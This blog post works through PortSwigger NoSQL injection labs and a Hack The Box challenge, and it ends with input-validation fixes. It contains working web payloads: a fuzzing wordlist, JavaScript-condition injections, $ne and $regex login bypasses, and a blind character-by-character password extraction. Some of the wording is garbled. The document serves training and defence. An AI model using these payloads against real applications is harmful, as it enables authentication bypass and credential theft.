Introduction:
In the evolving landscape of web security, NoSQL databases have become a cornerstone of modern applications as they offer flexibility in databases, and are less rigid than traditional databases, but this too comes up with new vulnerabilities. NoSQL injection carries sophisticated threats to systems due to its lesser visibility, and yet have the potential to be as harmful as SQL injection attacks. Our exploration begins as we examine error messages along with operator abuse practices while studying data exfiltration procedures so students can understand the critical role of input validation as their main defensive measure amid NoSQL database dominance. Lastly we conclude the blog with an an white-box pentesting approach and understand how insecure codes can affect authentication mechanisms, if left without proper care.
BlackBox Pentesting
Lab 1: Detecting NoSQL injection
Lab URL : https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-detection
Similar to SQL
injection, to explore and detect nosql, we need to fuzz or try some random characters and based on the error we can detect the attack. Below we have an curated wordlist to fuzz any endpoints to see if the web-server results or returns with any errors.
'
"
`
{
}
$
;
&&
||
'||'1'=='1
' && 0 && 'x
' && 1 && 'x
'||1||'
'+'
\
%00
\u0000
\xYZ
'"`{
;$Foo}
$Foo \xYZ
Luckily for us, just by using '
we were able to generate an trigger. And we find the following error triggered.
Now the error translates into the following error message which you can search online and draw some inferences.
Internal Server Error
Command failed with error 139 (JSInterpreterFailure): 'SyntaxError: missing ; before statement : functionExpressionParser@src/mongo/scripting/mozjs/mongohelpers.js:46:25 ' on server 127.0.0.1:27017. The full response is {"ok": 0.0, "errmsg": "SyntaxError: missing ; before statement :\nfunctionExpressionParser@src/mongo/scripting/mozjs/mongohelpers.js:46:25\n", "code": 139, "codeName": "JSInterpreterFailure"}
From the error we conclude that the error message we have encountered indicates that MongoDB’s JavaScript interpreter encountered a syntax error while executing JavaScript code. This typically occurs when using features like $where
, eval
, mapReduce
, or $function
that involve server-side JavaScript execution.Here is an example of JSInterpreterFailure from stackoverflow, even if it’s not exactly the same error, this gives an idea on what JsInterpreterFailure
is.
Now let’s dig into exploiting this vulnerability and solving the lab. Before that, let’s understand how nosql
is operated in for this website.
Whenever we try and search for any category like Pets
or Gifts
,the original query is gets translated to something like the following in nosql
.
this.category == 'Gifts' && this.released == 1
This just means: “Give me products where the category is ‘Gifts’ AND they’re released (released = 1).” Pretty straightforward, right?
Failed Payloads
First we tried two payloads, trying to detect nosql
in the pets
categories.
Pets' && 0 && 'x
Pets' && 1 && 'x
Worked Payloads
Pets'||'1'=='1
Payload 1: Gifts' && 0 && 'x
Regarding a more detailed change: when you inject this, the query becomes:
this.category == ‘Gifts’ and 0 and ‘x’ and this.released = 1
Here are the steps that may be related to the above logic:
this.category == 'Gifts'
: This means that the field ‘category’ of the record for a specific product equals to ‘Gifts’. If so, then this part is marked as TRUE
. If not, it’s FALSE
.
&& 0
: The symbol ‘&&’ is a logical AND operator in the JavaScript language (in which MongoDB is based on while making such queries). However, it is important to bear in mind that ‘0’ is considered falsy in JavaScript (which is the same as ‘FALSE’). Thus, if the first part is TRUE
, you have TRUE && FALSE
so the result will be FALSE
.
- Short-circuiting: The reason is that as soon as the specified
&&
is executed and encountered 0
it does not perform the in check on the string ’x’
or this.released == 1
. In JavaScript, &&
stops as soon as it finds something falsy because the whole expression can not be TRUE
anymore.
The result: The whole thing is FALSE
and nothing is returned for the symbol. The 0
serves as a stopper—the query will fail no matter which category or released status it is made to hit.
Payload 2: Gifts' && 1 && 'x
Now the query becomes:
this.category == ‘Gifts’, 1, ‘x’, this.released == 1
Let’s break it down:
this.category == 'Gifts'
: The Boolean value will be True if this record belongs to category Gifts else False.
- **
&& 1
: To the left of the &&
, 1
is truthy (converted to TRUE
). Thus, if in the first part of the condition it is TRUE
, you get an expression TRUE && TRUE” which is
TRUE`.
&& 'x'
: The string 'x’
is non-empty string and hence this also evaluates to True or more formally known as the string is truthy. Now it is true TRUE && TRUE
, still it is true TRUE
.
&& this.released == 1
: This condition checks if the given product is released. In this case of this condition if the record has released == 1
, this is TRUE
. If not, it’s FALSE
. Therefore, the whole expression is TRUE
only in the case of a simultaneous TRUE
of all the various parts of it.
Final result: The simplification of this operation gives this.category == ‘Gifts’ & this.released == 1
, which is the same with the query at the beginning of this process. You have available only the released ones within the ‘Gifts’ category. The use of 1 && 'x'
does not have any impact because both are truthy values which just allow the studied conditions to function.
Payload 3: Gifts'||1||'
This one’s a bit wilder. The query becomes:
this.category == ‘Gifts’ || 1 || ” && this.released == 1
This becomes complicated because ||
means OR and &&
is for AND and the order of operations must be considered. As it seen in the rules of operation in JavaScript &&
has higher precedence to ||
so in the above expression, it will work simulating:
this.category == ‘Gifts’ || 1 || ( & this.released == 1)
Let’s evaluate it:
this.category == 'Gifts'
: Will be TRUE
for GE products that come under Gifts category otherwise FALSE for other products.
- || 1: The symbol
||
stands for logical OR (not to be confused with two pipes | |
). It seeks the first truthy value and halts at that. Since 1
is truthy, the expression this.category == ‘Gifts’ || 1
will be always ‘TRUE’ regardless of the category.
'' && this.released == 1
: The empty string is to be expected to be falsy (FALSE
). With &&
, if a single value on the left is falsy, the value on the right is never evaluated. Therefore, regardless of released
, this part is FALSE
.
- Logical OR: Here we are operating two as symbols on the left side of the
||
which is TRUE
and the right side as FALSE
. Once again relying on the fact that ||
requires one truthy value from the right-hand side of the expression, the whole expression becomes TRUE
.
Final result: The query is TRUE
for every product; hence, you receive all products including the pre-release ones. The || 1
forces any overall condition with a truthy value that makes the condition impossible to be wrong. And this payload also helps us to solve and complete the lab.
Lab 2: Exploiting NoSQL operator injection to bypass authentication
Lab URL : https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-bypass-authentication
To be able to solve this lab, we need to have some basic understanding of operators in nosql
and feel free to check the following URL to have an understanding, as we will be using these operators to bypass the login logic. Here we have list of operators, just listed here in case you don’t want to read the entire mongodb documentation, but I insist you to do so.
Now if we have an look at the login request, then we notice and we find username and password. For our lab the username and password are wiener
and password is peter
. Now let’s capture the request and send it to the repeater. Now from the table we notice that $ne
operator evaluates not equal to. What if we use it to check password. Below is json
request from the login form.
{"username":"wiener","password":"peter"}
The logic is simple and straight forward, for an user called wiener
if the password is not equal to not_a_legit_password
then we should be able to bypass the weak authentication mechanism using this logic as the query would result true, certainly we do hope that user wiener
uses an strong password not something like ours. To sum up if the password is not the given password then it should be true and this true logic condition should be able to bypass the authentication. Simple right?
{"username":"wiener","password":{
"$ne": "not_a_legit_password"
}
}
Surprisingly this works, and we get an 302
login request. Now to solve the lab, we need to bypass the login for administrator account
. Now let’s change the username to admin
, adminstrator
but we don’t get login bypass. This means there is no user called admin
or administrator
. Maybe some combination of name with admin
or something else is happening here. From the above table we also see an regex
operator, which means we can use regular expresion.
We can use the an regular expression to bypass the login forms of a user named admin*
or a*
and this logic should help us to solve this lab. Note that a*
in theory should result us with users, but throws us with internal 500
error.
{
"username": {
"$regex": "admin*"
},
"password": {
"$ne": "not_a_legit_password"
}
}
But admin*
returns us with an redirect and from the response we see that the admin user-name is adminr73yus0o
. You can follow redirect or copy and paste the cookie in your browser, and once you got the session you should be able to solve the lab.
HTTP/2 302 Found
Location: /my-account?id=adminr73yus0o
Set-Cookie: session=rmWdYLZCTapQAsLivBaudPLzbfubwdDJ; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length:
For some reasons, cookie based attacks don’t work as expected when dealing with chromium
based browsers. Let’s use firefox for solving this lab. Copy pasting the cookie value and refreshing we are able to solve the lab.
Lab 3: Exploiting NoSQL injection to extract data
Lab URL : https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-extract-data
Now we quickly login with the credentials for this lab wiener:peter
and we observe four interesting endpoints.
The first one is POST
request which we were able to exploit and bypass authentication in our previous lab. Next we have an id
parameter and when we change the id
we don’t get to see much results. The third one shows an endpoint /user/lookup?user=username
and this javascript endpoint tells us various endpoints and connections made on the website. And this newly discovered endpoint (marked over in red) looks interesting therefore we test this parameter. (One of the primary reasons being because this endpoint is mentioned in js that’s why.)
We can use '
to trigger the error condition. And we get the following response from the web-browser.
{
"message": "There was an error getting user details"
}
The application is based on MongoDB and has an endpoint which is vulnerable for NoSQL injection. The object is user’s administrator’s password extraction and login.
In MongoDB, queries are like:
db.users.find({ "username": "administrator" })
can become injectable in case user enters unsanitized input, especially if the app is using JSON of JavaScript-like syntax on Mongo queries.
Step 1: Identify the Injection Point
Craft a request to the vulnerable parameter (usually username
) and watch how the application responds. You are trying to destroy the query logic here and test the injection.
Start with a payload like:
username=administrator' && '1'=='1
This input is meant to enforce that the condition is always true, like the common OR 1=1
from SQLi. If the reply is quite different (e.g. reveals more fields or errors), you know you have an injection.
Step 2: Check Hidden Field (Projection Bypass)
In other cases, possibly fields like ponderosanima.fs.password are not returned in query results since they’re partial filtered due to projection filtering (i.e. the database is configured so that return only specific fields).
To detect hidden fields:
Send a payload that targets field existence or logic with JavaScript expressions.
Test logical expressions like &&.
Example:
username=administrator' && this.password && '1'=='1
If the response structure changes, you know there is a password
element, and you have avoided projection.
Step 3: Determine the Password Length
As soon as the password
field is confirmed find its length by brute forcing the comparisons:
username=administrator' && this.password.length == 8 && '1'=='1
You carry out this with Burp Suite Instigator:
Reset payload positions for the length.
Use a numeric interval (e.g, 1 thru 20).
observe response length/structure to get appropriate value. In our case the correct numeric value is 8
. Hence the administrator
has 8 digit password
Any other numeric value will return the following error in the `http-response:
{
"message": "Could not find user"
}
Step 4: Pull the Password in Character by Character
Having learned the length of the password, take each character one by one via a loop and check the position:
administrator' && this.password[§0§]=='§a§
Repeat with each index (0 to length - 1
) and check all characters (letters, digits, symbols). Again, automate with Intruder:
- Use “Cluster Bomb” to gauge positions and characters. Now note that, the first fuzz point you will be fuzzing for each index value of the password,
0
being the first value index of first letter of password and so on.
Step 5- Retrieve The Extracted Credential
Now we got the password and their respective index numbers. In my case the password turned out to be oztullgv
and in your the password might be completely different.
Once you have found the whole password, Submit it along with administrator
user name through logon form.
In our case the username and password are correct and the lab is complete.
WhiteBox Testing
Lab URL : https://app.hackthebox.com/challenges/Lazy%2520Ballot
Vulnerability Analysis
All relevant routes live in:
./challenge/routes/index.js
And the Authentication logic delegates to a Database
helper in the following code directory:
./challenge/helpers/database.js
Here’s the key snippet from index.js that handles login:
router.post("/api/login", async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(403).send(response("Missing parameters"));
}
if (!await db.loginUser(username, password)) {
return res.status(403).send(response("Invalid username or password"));
}
req.session.authenticated = true;
return res.send(response("User authenticated successfully"));
});
And in database.js, the loginUser
method simply forwards both fields into CouchDB’s find
API without any sanitization:
async loginUser(username, password) {
const options = {
selector: {
username: username,
password: password,
},
};
const resp = await this.userdb.find(options);
return resp.docs.length > 0;
}
Exploitation Steps
Before we exploit let’s make a keen quickly recap authentication bypass in nosql
. Because CouchDB’s Mango queries accept rich JSON selectors, an attacker can supply an object instead of a string. For example, setting
"password": { "$ne": 1 }
means “any password not equal to 1,” which matches the admin user’s random password. The check resp.docs.length
succeeds regardless of knowing the real password, so the application treats us as authenticated.
Here are some practical steps to solve this lab, step by step.
Intercept the login request using Burp Suite or OWASP ZAP.
Craft the malicious payload:
POST /api/login HTTP/1.1
Host: target
Content-Type: application/json
{
"username": "admin",
"password": { "$ne": 1 }
}
- Send the request. The server responds with:
{ "resp": "User authenticated successfully" }
Obtain the session cookie set by Express (connect.sid
).
Access the protected votes list, using the session cookie.
GET /api/votes/list HTTP/1.1
Host: target
Cookie: connect.sid=<your_session_cookie>
- Inspect the JSON response. Among the 181 votes, the final document’s
region
field contains the flag. Or alternatively you could just visit the last page and find the flag.
Fixing the Vulnerability
To eliminate NoSQL injection, always enforce strict data types and disallow query operators in credentials. We can enforce the following mechanisms to fix this vulnerability.
- Type-check & sanitize inputs before building the query:
const { username, password } = req.body;
if (typeof username !== "string" || typeof password !== "string") {
return res.status(400).send(response("Invalid parameters"));
}
- Force literal matching by wrapping user inputs in a
$eq
clause (which only accepts scalars):
const options = {
selector: {
username: { $eq: username },
password: { $eq: password }
}
};
Alternatively, use a whitelist-based JSON schema to validate the body with a library like Ajv before proceeding.
Never trust client-supplied JSON for sensitive queries—cast everything to strings (e.g., String(password)
) and reject malformed types.
Conclusion:
The combination of functionality and security stands vulnerable when attackers execute NoSQL injection attacks. These labs demonstrate the database error revelation from using an unescaped character '
along with logical operators $ne
and $regex
that bypass login authentication and the risks of inadequate input validation in white-box coding that enables full credential disclosure. The key takeaway? These database systems do not resist injection unless you enter through different portal points. Secure databases require complete input validation together with type-checking procedures and safeguarded query practices that implement $eq enforcement. Developers along with pentesters need to have full comprehension of black-box fuzzing alongside white-box code analysis to maintain their roles effectively. When you come across a NoSQL database check whether the endpoints have had proper input sanitization done or whether they contain exploitable vulnerabilities. Testing with relentless focus and refusing to depend on user-provided data will lead to successful security efforts. Happy hacking!